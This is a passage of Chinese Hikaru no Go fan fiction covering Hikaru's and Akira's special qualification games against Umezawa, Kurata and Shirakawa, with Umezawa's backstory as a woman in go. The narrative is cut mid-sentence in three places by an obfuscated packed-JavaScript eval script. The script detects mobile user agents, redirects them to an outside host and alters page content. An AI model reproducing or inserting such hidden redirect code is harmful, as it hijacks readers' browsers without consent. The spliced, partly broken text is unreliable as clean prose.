光的反驳都没什么底气。事实上,梅泽香织是从早稻田大学的大学院正式毕业后、才参加的职业考试,算正儿八经的硕士,跟连初中都没好好上完的进藤光完全身处两个世界。 她在电视上时常说的那句名台词就是:围棋外的知识,也能反哺围棋的思考。 托她的人气的福,今天转播间里的观众真可谓满满当当、人头攒动。好在对局室不受外界影响,依旧只有棋手和记录员、裁判那么几个人。光照例先一步在棋盘前落座,默默等待着对局的开始。亮也是同样。他的对手是最近在海外大赛崭露头角的村上五段,此人总爱在赢棋后大放厥词贬低对手,战绩却实打实的好看,因此也有一批口味相当独特的支持者。 今天的一战,拉满了吸引媒体关注的要素啊。 那就更不能输了。 “两位准备好了吗?对局正式开始,请抓子。”裁判推了推眼镜,平静地宣布。 守候在棋院楼上观战间的院生们也变多了,今天来看的职业棋手已经装满了一个房间,导致天野不得不临时安排了另一个空房间让院生们进去看电视。再这样下去,到最后一战的时候,棋院是不是得考虑去外面的酒店租个会场来容纳内部人士啊,他已经开始担心后面的交通引导了,停车都是个大问题。 不过,要是今天的对局两人都落败的话,估计他们的兴趣就会极大衰减吧。一切都取决于今天的结果。 这么一想,搞得天野自己都紧张起来了。说到底那本押上了他信誉的棋谱能不能出版也要看进藤光的发挥!这张老脸还能不能挂得住,都靠这个年轻人了! “……” 此时,把外界的喧嚣完全屏蔽掉,专注于棋盘的进藤光双眼炯炯有神。 看着对面的梅泽落子,他会一次次想起久原对她的描述。 “好罕见的布局……” 的确是……非常独树一帜的棋路…… 是因为她是女性的缘故?还是因为她熟读诗书、通晓天文地理的缘故?和棋院那些普通的中游棋士的下法大相径庭……但目的非常明确,她不想在序盘就分出胜负,只想留下厚薄——因为她对自己的中盘有绝对的自信。 人们都说中盘阶段是棋手天赋的表现,人们又说女棋手天赋不如男棋手,她是要打破这种偏见吗? 100.Chapter 99. 进藤光vs梅泽香织 光不太确定该如何应对这个随时变化套路的对手。 注意到光的视线,梅泽的脸上依旧挂着不动声色的笑容。 她从来不单纯模仿流行的招式。能够流行,意味着通用,而通用,意味着对手也知道这一逻辑,那采取相应的反攻就格外简单,这样就没意义了。自幼便是学霸的她最擅长的并非模仿,而是举一反三。相同的原理可以在任何其他场合进行拓扑变换,在本质不变的前提下,只需悄悄变换外衣,便可骗过眼前的敌人。 但学霸不是天才,学霸只是努力的普通人,她只是消化反思的能力比较强,能通过努力、假装自己像个天才而已。这一点梅泽自己也很清楚。 这套总结、梳理、再组织、变形代入的方法是有上限的,在高段棋士的世界能走多远,谁都不确定。或许第一次遇到的敌人会中招,但第二次,第三次还会有效吗?身处五段瓶颈期的梅泽无法预言。 她一直想找个真正的天才来确认自己的疑惑。因此,在听说棋院在为进藤光招募定段赛对手后,梅泽才会主动报名。 果不其然,这一套方法在开局时极为顺利地转移了进藤光的注意力。 但后来……形势却在慢慢逆转。 “他为什么要在这里选择消劫?难道不担心大龙死活吗?” 梅泽能清晰观察到敌人的每一步,它的目的,即将连接的后手,和作战倾向。 她眼底的晦暗越来越深。 光落子的速度却并未减慢。 佐为笑而不语地观察着棋局。他似乎预料到了什么。但是,这样的展开也十分有趣。 梅泽闭上双眼,在想象中模拟后续的盘面。 按下计时器的声音扩大到足以撑满她的世界。可能是在耳鸣吧。梅泽淡然地处理着来自身体的警报。用冷静对待紧张,不理会这种急躁,才能在复杂的中盘思考里占得先机。下棋和科研在某种程度上是相似的,思维逻辑越缜密就越容易占优势,但很多细节不到最后谁都无法断定。那么,按照直觉去猜测也未尝不可。 “——是挖!” 她忽然眯起了双眼。 后面几十手加快速度、行云流水般出现在面前。全部都连了起来。 喜悦只持续了短暂的一瞬间。她的确是读出了进藤光的打算,这个小孩拥有成熟棋手的思维,反而比普通人更好猜。她的计算是不会出错的,大概率就是那样了。 然而,以她的能力,即使看出进藤光的意图,也无法阻止。 无法……拦住他。 看出来了,但无法阻拦他。 梅泽忽然被一种离奇的惊惧袭上了后背。她难以解释这种复杂心情的来源。 “……” 苦思良久,梅泽慢慢放下了手中的棋子。 光有些不解地看向她。 她……这是打算放弃了么?好像又不是放弃了的人应该有的眼神。那表情是在笑吗?为什么? 一些陈旧的岁月的碎片,渐渐浮上她的心头。 其实当初关于是否要走上职业棋士的道路,梅泽也曾经犹豫过。 她独自穿着红色大衣站在棋院门口,呆呆望着宣传栏上的赛事海报,《女流本因坊决战之巅》。“女流本因坊”的参加者限定为女性,也是,这可是棋院特意为女棋手举办的比赛。在这个世界,他们并不平等。至少大多数时间内,女棋手的姓名后都要特意跟着“括号(女)”的小尾巴,即便是男女混合的赛事里也一样,她们是绝对的少数派。一旦输给了女人,男棋手之间都会拿这个当笑料取笑对方一整年,谁都羞于提起此事。女棋手就是这么不受待见。 为了“支持女棋手的繁荣发展”,棋院甚至还打算每年专门为女性设置一个职业考试合格名额,说白了,水平差强人意的棋手也有望转正上岸。 这是一种关照吗?也许是吧,可她对此完全高兴不起来。 不,她并非执意地想赢过男人,下棋的对手是男是女她都无所谓,只是,只是……这充分说明了她想竞争的领域,如何彻彻底底地被强大的男棋手们霸占着金字塔尖。 “你一个女孩子,学什么围棋?差不多得了。反正早晚也要嫁人的,香织又这么可爱,多的是好男人喜欢。” 家里的长辈们都这么说,包括母亲。母亲认为女人无论如何努力也争不过男人,这样只会自讨苦吃。在梅泽初次宣言自己要放弃早稻田大学去棋院参加职业考试的时候,火辣辣的巴掌直接打到了脸颊上,随后是怒不可遏的狂吼。碗碟碎裂的声音扎得耳朵生疼。那一晚,梅泽暂时选择了妥协。她假装温顺地撕碎了职业考试的报名表,决定潜心学术,将来以学者的身份在名为“科学”的棋盘上继续下棋。只要她坚持的理论是正确的,母亲就不能以“女孩子不适合做学问”为由再度阻拦她。 唯一支持她继续学棋的是职业二段的父亲。“只要香织觉得有趣就行了。”父亲总是在她快要坚持不下去的时候柔声安慰她,鼓励她,提醒她不要放弃思考。在父亲的帮助下,业余时间,梅泽时不时也会和父亲对弈保持棋感,只不过这一切都故意瞒着母亲、不让她知道。 把围棋当做爱好,科研当做职业也不坏。因为理论是有正误的。对就是对,错就是错,理论不会背叛她,只要她不停下思考,就一定能赢。 寡淡但平和的日子,一直持续到大学院的第二年。 那天,最新的期刊上登载了一篇足以颠覆学术界的文章。她坚持了两年的理论忽然某日被国外同领域的学者提出另外的方向,一切努力瞬间化为虚无。失望的她带着彻夜未眠的黑眼圈跌跌撞撞走下台阶,却听到导师在楼梯背后随口抱怨“所以我就说女生不适合做学术”,而没能继续往前走。 她失魂落魄地松开了手指,黑白两色的文件纷纷扬扬飞了一地。 然后,一种奇妙的解脱感油然而生。 双眼莫名滚烫了起来。 是吗……既然横竖都不合适,那她还不如干脆去下棋好了! 既然走到哪里都是自以为是的“男人”的世界,那她就干脆来个硬碰硬! 她要证明自己可以!证明他们的借口有多荒诞!有多站不住脚!有多自以为是! 她不会再逃了! 她要回到最开始的地方堂堂正正地迎接挑战! “为什么?为什么你非要这么固执?”听说她再次报名职业考试的消息,母亲眼里满满都是悔恨,“唉,早知道当初就不让你爸教你什么围棋了……” “我不是来请示你的,只是来告知你的。”梅泽冷淡地说。 “妈妈只是想让你幸福啊。” “……幸福?” 梅泽笑了。在外人看来,她明明有更好的退路。早稻田大学院生毕业,面容姣好,擅长在镜头前自我表达,精通两门外语,又聪明勤劳,去大企业历练几年说不定有望成为管理层,如果她有那个意思或许还能嫁入有名有姓的豪门。而围棋……以她25岁的年龄才参加职业考试,已经慢人一步了,入段后要和十三四岁的小孩一起对弈,将来的成长空间也极为有限。 为什么放着康庄大道不走,非要走这条修罗之路?太傻了。人们不理解。连她本人都不理解。 看着棋盘上黑白交错的棋子,费尽千辛万苦将对局的结束延后到现在的梅泽,忽然明白了转角楼梯上的那人任性的理由。 围棋没有对错。 就算是少数派,下棋也都是同一个棋盘。 完全对等。谁也不是谁的附庸。 “天才”进藤光能轻易看穿她的伪装,让她在低段横行无阻的招式瞬间瓦解,这比她做科研时苦苦搭建的理论被人否决时的感觉更让人痛苦。但和科研不同,围棋没有绝对的“正确”和“错误”,不会因为方向错了、而数年光阴功亏一篑、错误的理论永远被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14448753|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 封印、无人提起。 每一局棋都是有意义的。她只要根据天才们发现的漏洞再予以改进,就能进一步完善自己的棋路。 只要她想,天才也可以是她的垫脚石。 就像现在这样。 是啊,她所放不下的,不是别的,正是在围棋的宇宙拼杀到极限、为谋求一线生机算尽心机、输了也还能重新再来的大脑飞速运转的感觉。就像穿着红色风衣在延伸向云端的无限阶梯上不要命地奔跑。 阶梯一度中断、溃散,不过今天这一局后,新的台阶又冒了出来。 和进藤光的对局让她确信了自己的棋力仍然略逊一筹。 但同时,她也确信了自己的理论还有进步空间。 她的想法是有效的,不依靠男性前辈们积累下来的最“正确”的定式和手筋,也一样有希望走到高段的世界、甚至更远,在那被男人们占据多年的金字塔尖挖出一个倾斜角。 多亏进藤光确实拥有高段的实力,才让她确信了这一点。 梅泽面色如常地弯下腰去。 头上佩戴的枫叶在水晶珠链的摇曳下发出清亮的声音。 “多谢指教,进藤君。这一局让我受益匪浅,你的棋下得十分优美。” 这认输来得格外突然,连记录员都“啊?”地吃了一惊。外界的观战者们莫不可惜于她的投子认负,中盘她明明发挥得那么稳健,大有分庭抗礼之势,就这样下下去未必会输,为什么要这么快就放弃?只有楼上的职业高段们才知道,她会在四十手后和进藤以极小的差距分出胜负——赢家是进藤光。这过于精彩的对决,令坐在电视前的森下茂男看得都黑了脸,如此恐怖的棋力……也不怪和谷了,连他自己上都说不好谁会赢。 被夸了。棋盘对面的光有些如坐针毡,他习惯了对手认输,但遇到这么漂亮的异性发自内心地夸奖自己,脸上多少有点发烫:“别别别!我也是,梅泽女士,好久没看到这么有意思的棋啦!开局和主流下法完全不一样,很有开拓性!” “你是很特别的棋手。就这样一直赢下去吧,我很好奇你能走到哪一步。” 她的话语格外真诚。 这种备受期待的感觉,得到对手承认的感觉,让光如沐春风。 “……这句话我也原封不动地还给您。今年的女流本因坊,您一定会拿下,对不对?让我们各自摘下本因坊的白星吧。” “诶?” 他不是单纯接受她的赞誉,而是以互相鼓励的形式把抛接球丢回了对手手中。只有实力够格的人说出这种宣言才不会使人出戏。梅泽惊讶地张开嘴。在她的印象中,这还是男棋手第一次对她做出类似的发言,脱离了“花瓶”、“少数派”、“只是受欢迎的异性”的审视的、纯粹基于实力的发言。 于是她也激起了斗志,不自觉说出了更要强的话:“不仅是女流。等到不久之后,本家的本因坊我也会试着挑战。到时候,希望在终点迎接我的挑战的人,就是你。不见褪色,世人心中,盛开之花。你会变成花的,进藤君,我期待那一天的到来。” 她引用了一句小野小町的和歌。虽然没大听懂和歌本身,但她的意思他完全听懂了。 光重重点头:“那就一言为定!” “看来不仅外表美得惊人,她的内心也一样优雅温柔呢。”佐为望着梅泽在众多粉丝的簇拥下离去的身影,再次发出了如是感慨。真是一位像极了红枫的女性,若是在平安时代,她或许也能成为宫廷中最有名的棋手。 而光的注意力此刻完全飘去了别的地方。 趁着媒体蜂拥而上之前,他飞快跑到隔壁的对居室,记录员正在收拾小桌子上的资料,看来这边的对局也是恰好结束。天野叫了一声他的名字,准备给他拍照,但光不由分说冲上前去,第一句就对着亮直截了当地问: “——塔矢!赢了吗?!” ●○●○ 101.Chapter 100. 七段之战 简明扼要的疑问。 简明扼要的回答。 “嗯。” 亮的眼中闪耀着属于胜者的锋利。他收拢手掌,不想让劲敌看到满手心的冷汗。 光在心里松了口气,脸上还是一副理所当然的神情。 “哼,我就知道。” 佐为毫不客气地戳穿他:“明明就担心得要命。” 光假装没听见。对多数职业棋士而言,五段是个难以跨越的分水岭。二三段随便下下手合赛就都能升,四段稍微需要一些技巧,而五段就需要足够的钻研和苦功了,没有天分的人很容易卡在四段、迟迟无法上升,只有靠年龄慢慢往上爬。假若塔矢亮还是上辈子的光认知中的塔矢亮,以他现在的棋力,大约只能和四段的棋手下出平手。 但亮也今非昔比了。他赢的是五段。在进藤光和虎次郎的引导下,他不知不觉就迈过了这个巨大的山头,往前走了一大步。 “他们俩又都赢啦?”塔矢家的围棋会所里,大叔们高兴地互相举杯庆祝,“不愧是小老师和他最好的朋友!干得漂亮!” “两个初段赢了五段?棋院的面子往哪搁啊?!” “段位不重要,重要是他们赢了五段,就说明他们有五段的实力!” “哎,其中一个五段是女人吧,赢她也不能证明什么。” “那你要是这么说的话,另外一个五段不也是小丑?赛前就说什么塔矢亮不值一提,结果不还是却输给小老师了!” 特意来到这里观战的尹老师欣慰地端起酒杯,哭笑不得地看着他们互吵战力,双眼眯得更紧了。“进藤君和塔矢君,真是离谱得不讲道理……这就是年轻人吗。潜力无穷到让人望而生畏呀。” 对局结果一出,网络舆论也是一片哗然。 久原木子郎的私人博客点击量再创新高,之前还是每天最多几百,现在直接发帖半小时就破千。许多围棋论坛里,鼓吹天才双子星拯救日本围棋界的言论越发兴盛起来,一个吹得比一个过分,就差直接封他俩为当代棋圣了。不过,与之相对的,批评日本棋院水平不够、职业五段是废物、连13岁小孩都下不过的酸言酸语,也在阴暗角落里不可避免地滋生着。 棋院风评一时两极分化。这也意味着外界有多关注这场特别定段赛。 就连在sai的留言板上,提到进藤光的发言都越来越多。光从未对外隐瞒自己是sai弟子的事实,sai的粉丝们自然都将他当成自家孩子来期待,遇到网上的挑事言论还会特意回击、想着法子“自证”进藤光有多厉害,颇有种新时代饭圈的意味。 再次来到因岛见虎次郎时,光慵懒地打了个呵欠。 “今天我和塔矢在新干线上都被棋迷认出来了,一直找我们搭话,有够麻烦的。根本没法睡觉。” 亮尖锐地指出他话语里的漏洞:“当时进藤你不是还挺开心吗。” “那是因为……他在我面前夸了佐为嘛。我从上辈子就很偏袒秀策喔,还因为这个闹出不少意外事件。”光说的是前世北斗杯的事,不过细节他还没跟塔矢亮聊起过,想到那个针对秀策发表过激言论的高永夏他就生气,往棋盘上砸棋子的动作都粗鲁了几分,“本因坊秀策才不是落后于时代的老古董呢!” 佐为知道这是出于对自己的体贴,笑而不语。 此棋一落,坐在对面的虎次郎马上俯下身。 “是你赢了,进藤君。” 灿烂的笑容立刻在进藤光的脸颊上绽放开来:“好耶!我终于赢了虎次郎!塔矢是虎次郎的弟子,那我四舍五入就是塔矢的老师!扳回一城!” 他居然还在计较之前塔矢亮帮他辅导功课时让他叫自己“塔矢老师”的事。亮叹了口气。小心眼的男人可不会受欢迎哦,佐为本想这么说,但看到小光这么高兴,又无奈地收回了扇子。没办法,谁叫他们都是小光的朋友嘛,在朋友眼里,小小的任性也是一种可爱。 虎次郎赏心悦目地看着棋盘上的局面,感叹道:“果然我把佐为托付给你是正确的选择。” 没想到,这番话触到了进藤光的雷区,他一秒变脸,严肃地大声否定对方:“才没有!你在说什么傻话,虎次郎的使命可是把塔矢培养成能追上我的棋手喔,要是连你都不能把我赢回来,塔矢要怎么赢我?……好了,接下来开始摆sai的棋谱给你看吧,这周他在网上也下了不少好棋呢。” 说着他就开始手舞足蹈地重新收拾起棋子来。 每次来到因岛,光的精神都十分饱满,看来他是真的想靠自己的热情打动“害怕下棋”的虎次郎。佐为微笑着抬起头,望向头顶蔚蓝色的晴空。冬月马上就要到来了,他和小光也相识近一年了,这一年中,小光带给了自己无限的惊喜——也包括惊吓和感动,来年他又该如何帮助小光和塔矢更好地成长呢?此时此刻,佐为全身心地只想着这一件事而已。 蔚蓝色的晴空一直延伸到神社外。在几十米之遥的地方,某个穿着皮背心焦虑踱步的时髦国中生一手举着地图,一手举着指南针,十分费劲地转着圈圈。 “奇怪……进藤和塔矢……究竟消失到哪里去了……?” 来者竟是光的围棋教练兼经纪人(自称),久原木子郎。 没错,这是一场隐秘的跟踪计划。他乔装打扮成爱玩摇滚的高中生游客,偷偷跟在进藤光和塔矢亮的屁股后面,又是搭电车又是坐新干线又是换乘巴士又是徒步登山,千里迢迢跑来了一千多公里外的因岛,就是为了查证自家金蛋对因岛如此执着的原因。他也没办法,这都第四次了,每次进藤光要来朝圣都得请一天半的假,严重影响他的“进藤选手夺冠训练伟业”,偏偏那家伙口风又严,问什么都不肯说半个字,导致久原只能想出物理跟踪这种下下策。但愿不要被他们发现就好。 树林里的空气有些寒冷,冻得他时不时打个喷嚏。可他百思不得其解的是,为什么进藤和塔矢一进了这片树林,他就忽然跟丢了他们? 不应该啊,这附近哪里都没人,他都跑遍了,那两个家伙还能变成蝴蝶飞走不成? 久原一脸狐疑地望着前方的树丛,他蹲守了半小时,最后也只能无功而返。 准确地说,是返了一半。 “……完蛋,我好像迷路了。救命啊!有没有人知道巴士站在哪,帮帮我——救命——” 翌日,当进藤光和塔矢亮回到东京的棋院本部时,在大厅见到的就是额头上贴着退热贴、脸上戴着口罩、嗓音还嘶哑到不行的重感冒病人久原木子郎。 “咳咳……我变成这样是有原因的。去野外不认路瞎转悠又穿得少的后果就是一个人在夜幕降临的草丛里冻得瑟瑟发抖、直到被好心的护林员捡走送回车站,但在下还是成功染上了风寒,咳咳……最近这几天你们就别和我见面了,免得传染……咳咳……” “好可怜。” 不知前因后果的进藤光对小记者表示了一顿关怀,就目送他回家休息了。 之后的几天突然变得格外清净起来。没了教练严格监督,进藤光心中的自由放任主义就重新占据了上风,开始疯狂在网上替佐为下棋、也自己约了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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亮假笑着听完前半段,后面忽然变得十分大声:“没下完?仓田七段是什么时候和进藤……” 哦,原来他只在意进藤。仓田心想着,故意没有接他的话:“对了!塔矢你也想要我的签名吧?今天我特意带了色纸过来哦,等一下,对局结束了我就在镜头面前当众给你签!” 说着就转过身去展示他的随身黑色程序员款背包。 亮其实还想追问进藤的事,但仓田这么一弄,他一时不知该如何回绝才显得比较礼貌。 “……签名?” “是吧,你很想要吧!” “是……是的。” “没勉强吧?” “没、没有。” 仓田这才满意地双手抱胸连连点头:“很好很好,你比进藤那小子懂事多了!就签一个:致注定击败进藤光的男人,塔矢亮!怎么样?” 亮眼中的温度忽然急剧上升。 他用半哑的嗓音问了一个问题:“仓田先生认为,您和进藤下的话,谁会赢?” 好强的敌意呐。不过仓田对此比较顿感,第一时间就大大方方给出了回答:“那当然是我啦。” “是吗。”亮闭上眼,再度睁开双眼时,整个人都散发出与众不同的凛冽,犹如冬月即将到来的暴风雪,“那就麻烦您,在我赢棋之后再给我签名了。作为我——超越进藤的证明。” 这股少年棋手特有的高傲扑面而来,吹了仓田一个措手不及。不过,这样也不坏。就是要跟这样的家伙下棋,棋局才有意思!仓田先是一愣,随后双手握拳、在面前狠狠对打,发出清响的“咚”声,脸上带着过分愉悦的笑意。 “变得有趣起来了不是吗!” ●○●○ 102.Chapter 101. 进藤光vs白川道夫 此时,一墙之隔的隔壁对局室。白川道夫慈祥有加地笑着,与进藤光端坐在棋盘两侧,他们都穿着同色同款的西装,看上去就像一对多年不见的师徒。沉默持续了片刻,光才想起什么似的大声叫出来:“白川老师,早上好!” 吓得在旁边拍照的天野都双手一抖。 不过,说起拍照,今天那个叫久原的小同学似乎没有一起过来……真难得啊…… 两人并肩站在一起,拍完了例行的合照。每次这个环节光都觉得很不自在,不知该摆什么姿势好,该死,塔矢就简单了,因为他的脸生得太好、完全不考虑神态也能拍出特别上镜的照片。 下棋的人多多少少都有点自恋的,要是被拍丑了,嘴上不说,心里得郁闷好久。 看出他一直在神游,年长的白川主动开始了对话。 “终于能和你对弈了,进藤君。”白川的语气温和而平静,但光感受得到平静海面下翻涌的浪涛,那是棋逢对手的人之间才能感受到的“期待”,一种旺盛的吸引力,“说来惭愧,一年前初遇的时候,我完全没想到你竟是这样一个围棋天才。明明我是教棋的老师,连学生的棋力都看不准,不应该啊。” 这顿猛夸让光害羞地摆摆手:“不!我不是天才。只是……只是一直想着围棋而已。” 他没法说自己已经下了十年棋了所以这种水平是理所当然的。真丢脸。白川善解人意地转移了话题。 “那倒是我失礼了。今日就让我看看最真实的你吧。请多指教。” “请多指教。” 两个人互相鞠躬,然后猜子,对弈正式开始。佐为也在进藤光背后坐定了,目光直勾勾盯着看似很好欺负的白川。他深知这个对手的实力有多高深,前面的三段和五段,对光都只是开胃菜,只有这一局,是真正需要担心胜负的对局。可偏偏今天小光有点不在状态…… “小光……要稳住啊。”他默默为自家棋手祈祷着。神明保佑,神明保佑。 实况转播也在同时进行。 这次观战的人数又比上次更多了。天才双子星连胜两轮,最后要单枪匹马挑战围棋界的大前辈七段,七段在棋院已经是相当有地位的“高等阶级”了,而日本最崇拜的就是下克上叙事,听到这么有爆点的事件,多多少少都想过来看两眼热闹。藤崎明有点无奈地叹了口气,她家离白川老师的围棋教室最近,所以特意来这里看直播,结果来的人一直挤到了走廊最外面,压根就进不去。 也是,毕竟这家教室最受尊敬的老师就是对弈的一员嘛。今天可是白川围棋教室的大日子,所有学员都会赶过来的。 算了,去佐和良中吧,那边有专门看直播用的大屏幕和阶梯教室,再合适不过了。 这样想着的藤崎明推开佐和良围棋部的门,看到久原木子郎阴沉着脸在投影幕布前咳嗽个不停,顿时都不敢进去了。他好像很生气,为什么?小光的棋下得很糟糕吗?她是不是该换个时候来? “真气人。换台!”久原用嘶哑到几乎是另一个物种的声音抱怨道,他身旁还挂着吊水用的医院器械,显然还处于感冒中期,所以才无法到棋院观战,“藤崎小姐,外面多冷啊,进来吧。” 他发现了……藤崎明只能尴尬地笑着,“嘿嘿”走进房间内,找了个地方坐下。 现在投影幕布上播放的是塔矢亮的对局了。 看来他真的气得不轻。错过了前几手的藤崎明心里像蚂蚁在爬,她着急得要命,小光这是下了多臭的臭棋才能让小教练气到这个地步?宁愿看塔矢亮都不看他!可现在她又不好意思叫他换回去原来的频道!拜托了,小光,要好好发挥啊! 不过,这么看下来,塔矢亮的对局进行得也十分艰难。 对手是几年前以天才之名横扫新人界的仓田厚,即使是进藤光上辈子的北斗杯,仓田都是塔矢亮的领队,一看就处于食物链顶层,即便这一世亮进步了很多,也难说与仓田对上谁会赢。 仓田这个人下棋又相当地粗放,看似没有章法,和他猜心思简直就是在荒野里玩捉迷藏,让人迷惑。 亮本能地托住了下巴。他需要好好沉思一番。 仓田先生……好强…… 和进藤一样……说不定还略胜一筹…… 没有一处是恶手,更不会随意下判断。即使对手是新人也毫不松懈,难怪会对进藤那样执着……在他的世界里,仓田厚应该就是天下第一的棋士吧,就算现在不是,将来早晚也会是。 那么,就靠自己的实力,将那份执着转移到“塔矢亮”身上来! 进藤的敌人,就是他的敌人! 哒—— 棋子一落,远在几公里外电脑前的绪方敏锐地眯起双眼。 楼上观战室里的院生和低段棋手们也纷纷躁动起来。第一局惨遭败北的川崎三段竟然也其中,他第一个爆发出不开心的呐喊:“塔矢这手未免也太鬼才了!谁特么想得出来啊?!” 菩萨保佑,他也想要一颗被文曲星亲吻过的脑子。 和谷抽了抽嘴角,脸上已经全是黑线。 “能和七段下得不分伯仲……这就是今年新初段的含金量……吗?” “……这个新初段不包含我就是了。” 这幽幽的声音来自角落里的伊角慎一郎。本田欲言又止地看了看他,和奈濑对视后,后者无可奈何地笑了笑。 “伊角先生好像备受打击呢。他都要变成西瓜虫蜷缩成一个球了。不过,到底怎么回事,进藤今天一直在陷入苦战,藕断丝连的,看得我憋屈死了。” 院生们的感受是正确的。 进藤光这一局确实发挥得不算好。离他最近的佐为最清楚这一点。多重外界因素干扰了他的正常思考,虽然他已经是成熟的26岁棋手的心态,但完全不受影响的人是不存在的,只是多少的问题。连胜了两场,外界的期待自然也会逐级攀升,空气里洋溢着沉重的气味,连佐为这样的幽灵都感到了浓郁黑暗的气场。 但最关键的问题还是棋盘上的问题。 “……” 小光失去了前两次对弈的冷静。这也是情有可原的,因为对手确实和前两局完全不是一个等级。 白川道夫……佐为读过他的棋谱,和长相一样,他的棋也有股秀才的气质。而且是才高八斗、文武双全的秀才。到了高段境界,许多棋手的思路都可以被称为“艺术”了,个人风格会极大程度上主导局势。秀策的棋风被称为“秀丽”,而白川更接近于“俊才”。满腹珠玑,言之有物。常年从事一线教学工作,令他在深入浅出方面积累颇深,想读懂他刻意隐藏的棋路变得十分困难。 加上今天久原不在,少了战前最关键的备战期,小光一定也觉得不自在。 佐为烦恼地将扇柄握在手中。 真让人担心啊。小光的棋简直就是在刻意凸显与去年的不同。好像想声明些什么。 但是……在过于精通棋道的对手面前,强行限制好自己的路数,反而会更难适应复杂多变的中盘走势。 为什么你要这么做,小光? “可恶,施展不开。” 光陷入了艰难的长考。一开始没能采取最正确的应对,是他想当然了,觉得按照佐为的思路就一定没问题。一个月前佐为和白川在网上对弈过,当时是佐为赢了九目半,他下意识地采取了模仿佐为的行动。结果却深陷泥淖。 白川老师和一个月前大不相同了……他进化得很快。但这不是输棋的理由。上一世自己和他交手时他已是九段,论经验、论直觉都远在如今之上,那时自己输给他,还能找借口说是因为钻研不够、阅历有所欠缺。但现在不行了。资历再也不能成为借口了。同样是26岁前后,两人的年龄是完全对等的。 他必须下赢他。如果无法从正面击溃白川,就相当于承认自己在这一年里毫无建树……就像否定了佐为重回现世的意义一样! 这有这个,光无论如何都不能接受! 有佐为陪在身边日夜练棋,整整一年,自己的成长应该足以追上十年后的白川老师才对! 而且要把他甩得远远的!一骑绝尘!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475478|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 任何人都无法望其项背! “在这里……诱敌深入!” 光的脸上已经失去了从容,只剩下急躁。他想赢的心情实在太过强烈,保守的棋路是不够的,得更大胆一些才行。可越大胆,容易遭到攻击的机会就越多,他有办法保持均衡直到最后吗? 眼下是自己略微占亏,到几十步后的终盘,他能把劣势掰回优势吗?胜算还有多少? “嗯……” 白川也从一开始的严阵以待,变得大汗淋漓。 “这样如何?”他抬起眼镜下的眼珠,往上看向对面的少年,确认对方也和自己一样身处苦战后,微微燃起了些许信心,“我的工作就是教导学生‘如何破解僵局’,你的想法实在太好看穿了,进藤君。” 反制!利用他自己主动吃亏的心态,牢牢将他一军! 不好……光瞪大了双眼,被那一手镇得瞬间无法呼吸。本来是故意设下的陷阱,怎么反倒被对方趁虚而入了?他的防备应当是绝对周全的才对! “小光,要冷静。”佐为身为观战者,虽然无法说出口,却也在内心急切不安地为他加油,“最紧急的时刻最需要沉住气,好好回想起来,我们平时对弈的时候,有没有遇到过类似的情况?” 类似的情况…… 明明没有直接出声交流,光却和佐为的想法神奇地同频了。 是啊,和佐为对弈的时候,他总是位居下风,最经常遇到的就是“不得不反败为胜”的逆境。 今天又遇到逆境,不是正好吗?! 佐为教他的反败为胜的方法,就是为了这一刻才存在的! 失地越多,越有冒险的价值!一切都还没有结束!没有结束! 啪—— 那一刻闪闪发光的棋子,落在了无数黑暗之中、唯一亮起光源的地方。就是那里!灵魂在心底失声尖叫着,将进藤光的心情点燃到最剧烈,然后,这殊死一搏的态度让对面的白川也如坐针毡起来。 “唔,好强的冲劲……他是想去多远的地方?世界的尽头吗?” 莫名其妙的,白川眼前浮现出看不到边缘的宇宙。 唯有无尽的星河,能承载进藤光不断膨胀的欲望。想赢的欲望。 光以前不是在乎输赢的人。他想追上塔矢亮,想下出更好的棋,但很少觉得哪一次非赢不可,除了北斗杯时面对高永夏的最终决战。在那之后,他的求胜之心再也没有达到那般高度,或许是因为逆鳞“秀策”再未出现在其他场合吧。本来他只是痛恨输棋的感觉。但输得麻木之后,为了自我解脱,他只能欺骗自己“有输有赢很正常”,并不是赢不了就没法下棋了,不这么想的话,瓶颈期里的自己会无法原谅自己。 可现在……他真真切切体会到了“想赢”的怒火。 十年了。他失败过,跌倒过,哭泣过,也后悔过。围棋最大的底线就是“落子无悔”,倘若连最无可救药的“后悔”都救不了自己,那他为什么要回到十年前? 要赢!绝对要赢!非赢不可! 佐为一定想看到他的胜利!不能放弃,现在放弃还太早了!血液在疾驰,神经在爆裂,视线在坠落,心跳在骤响,手指在不听使唤地拼命冲刺。他太想赢了!赢下这一局,这是他的使命,是上天交付给他的任务!完不成的话,虎次郎的心愿要怎么办?佐为的牺牲要怎么办?塔矢的期待要怎么办? 那一刻,光的心中出现的,是十年后的塔矢亮。 不动如山,目若苍穹。征战于世界舞台之上、熠熠生辉的塔矢亮。 他还没有……追上他。 其实两个月前对亮坦白一切时,进藤光忍着没有说出口的,还有一句话:那十年,我没有一次在正式比赛里赢过你。他没办法对着亮把这种遗憾说出口,这是他的意气,他也是有自尊心的。可越是说不出口,那份不甘心就越强。 面对此时的白川,光已经完全把他当成了十年后的亮的替身。 “让形势……逆转吧!” 光挥汗如雨,咬牙落下又一颗棋子。 103.Chapter 102. 